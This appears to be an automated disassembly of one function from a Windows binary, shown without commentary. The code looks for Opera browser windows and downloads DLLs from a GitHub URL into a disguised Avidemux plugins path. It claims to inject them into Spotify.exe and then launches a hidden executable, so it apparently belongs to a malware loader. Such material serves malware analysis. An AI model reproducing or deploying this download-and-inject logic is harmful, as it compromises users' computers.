Function at 0x140001b90
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0xf8
mov rax, qword [0x1400b9040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
lea rdx, str.Youtube___Opera
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140001731
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Janela_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Youtube___Opera
call fcn.140001c10
mov rcx, rax
lea rdx, str._encontrada.
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Baixando_e_injetando_DLL_para_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str....
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.C:Program_FilesAvidemux_2.8_VC_64bitsplugins_videoFilterslibADM_vf_ssa.dll
lea rcx, str.https:__github.com_murilogml_links2_releases_download_links_libADM_vf_ssa.dll
call fcn.140001150
test al, al
je 0x1400016f0
lea rdx, str.C:Program_FilesAvidemux_2.8_VC_64bitsplugins_videoFilterslibADM_vf_ssa.dll
call fcn.1400012b0
test al, al
je 0x1400016c2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.DLL_injetada_com_sucesso_no_processo_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str._para_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Youtube___Opera
call fcn.140001c10
mov rcx, rax
lea rdx, [0x1400af630]
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001b67
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_injetar_DLL_no_processo_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str._para_
jmp 0x1400016fe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_baixar_o_arquivo_DLL_para_
call fcn.140001c10
lea rdx, str.Youtube___Opera
mov rcx, rax
call fcn.140001c10
lea rdx, [0x1400af630]
mov rcx, rax
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Instagram___Opera
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400018c9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Janela_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Instagram___Opera
call fcn.140001c10
mov rcx, rax
lea rdx, str._encontrada.
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Baixando_e_injetando_DLL_para_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str....
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.C:Program_FilesAvidemux_2.8_VC_64bitsplugins_videoFilterslibADM_vf_stillimage.dll
lea rcx, str.https:__github.com_murilogml_links2_releases_download_links_libADM_vf_stillimage.dll
call fcn.140001150
test al, al
je 0x140001888
lea rdx, str.C:Program_FilesAvidemux_2.8_VC_64bitsplugins_videoFilterslibADM_vf_stillimage.dll
call fcn.1400012b0
test al, al
je 0x14000185a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.DLL_injetada_com_sucesso_no_processo_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str._para_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Instagram___Opera
call fcn.140001c10
mov rcx, rax
lea rdx, [0x1400af630]
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001b67
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_injetar_DLL_no_processo_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str._para_
jmp 0x140001896
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_baixar_o_arquivo_DLL_para_
call fcn.140001c10
lea rdx, str.Instagram___Opera
mov rcx, rax
call fcn.140001c10
lea rdx, [0x1400af630]
mov rcx, rax
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Twitch___Opera
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140001a61
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Janela_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Twitch___Opera
call fcn.140001c10
mov rcx, rax
lea rdx, str._encontrada.
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Baixando_e_injetando_DLL_para_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str....
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.C:Program_FilesAvidemux_2.8_VC_64bitsplugins_videoFilterslibADM_vf_dummy.dll
lea rcx, str.https:__github.com_murilogml_links2_releases_download_links_libADM_vf_dummy.dll
call fcn.140001150
test al, al
je 0x140001a20
lea rdx, str.C:Program_FilesAvidemux_2.8_VC_64bitsplugins_videoFilterslibADM_vf_dummy.dll
call fcn.1400012b0
test al, al
je 0x1400019f2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.DLL_injetada_com_sucesso_no_processo_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str._para_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Twitch___Opera
call fcn.140001c10
mov rcx, rax
lea rdx, [0x1400af630]
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001b67
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_injetar_DLL_no_processo_
call fcn.140001c10
mov rcx, rax
lea rdx, str.Spotify.exe
call fcn.140001c10
mov rcx, rax
lea rdx, str._para_
jmp 0x140001a2e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_baixar_o_arquivo_DLL_para_
call fcn.140001c10
lea rdx, str.Twitch___Opera
mov rcx, rax
call fcn.140001c10
lea rdx, [0x1400af630]
mov rcx, rax
call fcn.140001c10
lea rdx, [0x140001de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rdx, str.C:Program_FilesAvidemux_2.8_VC_64bitsplugins_audioDecoderplugins_avidemux.exe
mov dword [rsp + 0xd4], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001b51
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_abrir_o_programa._C
mov qword [rsp + 0xf0], rbx
call fcn.140001c10
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [rsp + 0xf0]
mov eax, 1
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.14006a680
add rsp, 0xf8
ret
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.14006a680
add rsp, 0xf8
ret
jmp 0x140001580